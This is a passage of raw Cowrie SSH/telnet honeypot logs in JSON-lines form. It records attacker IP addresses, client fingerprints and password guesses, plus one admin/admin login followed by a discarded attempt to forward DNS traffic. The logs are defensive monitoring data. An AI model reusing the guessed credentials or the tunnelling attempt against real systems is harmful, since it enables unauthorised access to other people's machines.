16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:16:28.443288Z","src_ip":"103.172.78.219","session":"579526869160","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"babies","message":"login attempt [root/babies] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:16:29.213971Z","src_ip":"103.172.78.219","session":"579526869160","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:16:30.473094Z","src_ip":"103.172.78.219","session":"579526869160","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42702,"dst_ip":"159.203.135.109","dst_port":23,"session":"fce9c583f002","protocol":"telnet","message":"New connection: 128.199.8.54:42702 (159.203.135.109:23) [session: fce9c583f002]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:16:57.222955Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42958,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e39a82474af","protocol":"telnet","message":"New connection: 128.199.8.54:42958 (159.203.135.109:23) [session: 9e39a82474af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:17:20.396962Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":64784,"dst_ip":"10.17.0.5","dst_port":22,"session":"042bf92991eb","protocol":"ssh","message":"New connection: 87.251.64.176:64784 (10.17.0.5:22) [session: 042bf92991eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:17:38.661510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:17:38.664430Z","src_ip":"87.251.64.176","session":"042bf92991eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:17:38.758178Z","src_ip":"87.251.64.176","session":"042bf92991eb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:17:39.131554Z","src_ip":"87.251.64.176","session":"042bf92991eb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:17:39.228025Z","session":"042bf92991eb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:17:39.323205Z","src_ip":"87.251.64.176","session":"042bf92991eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:17:39.552087Z","src_ip":"87.251.64.176","session":"042bf92991eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":35984,"dst_ip":"159.203.135.109","dst_port":22,"session":"d886ae4fd921","protocol":"ssh","message":"New connection: 38.93.206.2:35984 (159.203.135.109:22) [session: d886ae4fd921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:17:54.341793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:17:54.345723Z","src_ip":"38.93.206.2","session":"d886ae4fd921","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:17:54.395488Z","src_ip":"38.93.206.2","session":"d886ae4fd921","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"180983","message":"login attempt [root/180983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:17:54.547455Z","src_ip":"38.93.206.2","session":"d886ae4fd921","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36994,"dst_ip":"159.203.135.109","dst_port":23,"session":"38df964b4696","protocol":"telnet","message":"New connection: 128.199.8.54:36994 (159.203.135.109:23) [session: 38df964b4696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:17:55.583483Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:17:55.599770Z","src_ip":"38.93.206.2","session":"d886ae4fd921","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.05686688423157,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:18:04.453522Z","src_ip":"128.199.8.54","session":"9e39a82474af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:18:21.761208Z","src_ip":"111.9.47.89","session":"46fdf1c1dbed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.100.248.63","src_port":52822,"dst_ip":"10.17.0.5","dst_port":22,"session":"d241f3340365","protocol":"ssh","message":"New connection: 34.100.248.63:52822 (10.17.0.5:22) [session: d241f3340365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:18:26.275622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:18:26.278230Z","src_ip":"34.100.248.63","session":"d241f3340365","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:18:26.522448Z","src_ip":"34.100.248.63","session":"d241f3340365","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devwww","password":"123456","message":"login attempt [devwww/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:18:27.525260Z","src_ip":"34.100.248.63","session":"d241f3340365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:18:28.775431Z","src_ip":"34.100.248.63","session":"d241f3340365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.15005922317505,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:18:31.733425Z","src_ip":"128.199.8.54","session":"38df964b4696","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00217270851135,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:18:57.225019Z","src_ip":"128.199.8.54","session":"fce9c583f002","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":50360,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9494b64f6b1","protocol":"telnet","message":"New connection: 172.81.62.90:50360 (159.203.135.109:23) [session: a9494b64f6b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:18:57.985241Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":41916,"dst_ip":"10.17.0.5","dst_port":22,"session":"72ab7e8aaee4","protocol":"ssh","message":"New connection: 103.27.238.120:41916 (10.17.0.5:22) [session: 72ab7e8aaee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:18:58.879064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:18:58.882816Z","src_ip":"103.27.238.120","session":"72ab7e8aaee4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:18:59.154641Z","src_ip":"103.27.238.120","session":"72ab7e8aaee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"johnny30122007","message":"login attempt [root/johnny30122007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:18:59.975338Z","src_ip":"103.27.238.120","session":"72ab7e8aaee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:19:01.249771Z","src_ip":"103.27.238.120","session":"72ab7e8aaee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.72193169593811,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:19:32.707068Z","src_ip":"172.81.62.90","session":"a9494b64f6b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":36136,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bb9d0ebdf45","protocol":"telnet","message":"New connection: 107.6.151.170:36136 (159.203.135.109:23) [session: 5bb9d0ebdf45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:19:47.522114Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":58258,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f3915800a2e","protocol":"telnet","message":"New connection: 107.6.151.170:58258 (159.203.135.109:23) [session: 9f3915800a2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:19:51.563648Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":45150,"dst_ip":"159.203.135.109","dst_port":23,"session":"83d5f82eb869","protocol":"telnet","message":"New connection: 107.6.151.170:45150 (159.203.135.109:23) [session: 83d5f82eb869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:19:52.625772Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.227.244.120","src_port":58894,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5ec9482f67d","protocol":"ssh","message":"New connection: 209.227.244.120:58894 (159.203.135.109:22) [session: b5ec9482f67d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:20:18.556218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:20:18.561297Z","src_ip":"209.227.244.120","session":"b5ec9482f67d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:20:18.652012Z","src_ip":"209.227.244.120","session":"b5ec9482f67d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"intl","password":"123456","message":"login attempt [intl/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:20:19.059539Z","src_ip":"209.227.244.120","session":"b5ec9482f67d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:20:20.155483Z","src_ip":"209.227.244.120","session":"b5ec9482f67d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.855061531066895,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:20:23.418612Z","src_ip":"107.6.151.170","session":"9f3915800a2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.76020836830139,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:20:37.385850Z","src_ip":"107.6.151.170","session":"83d5f82eb869","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0312294960022,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:21:47.553199Z","src_ip":"107.6.151.170","session":"5bb9d0ebdf45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":35652,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e021aa4b0c6","protocol":"telnet","message":"New connection: 172.81.62.90:35652 (159.203.135.109:23) [session: 3e021aa4b0c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:21:51.246051Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.44.247.134","src_port":36704,"dst_ip":"10.17.0.5","dst_port":22,"session":"55740c1270b1","protocol":"ssh","message":"New connection: 142.44.247.134:36704 (10.17.0.5:22) [session: 55740c1270b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:21:59.918576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:21:59.922823Z","src_ip":"142.44.247.134","session":"55740c1270b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:21:59.943261Z","src_ip":"142.44.247.134","session":"55740c1270b1","protocol":"ssh"}
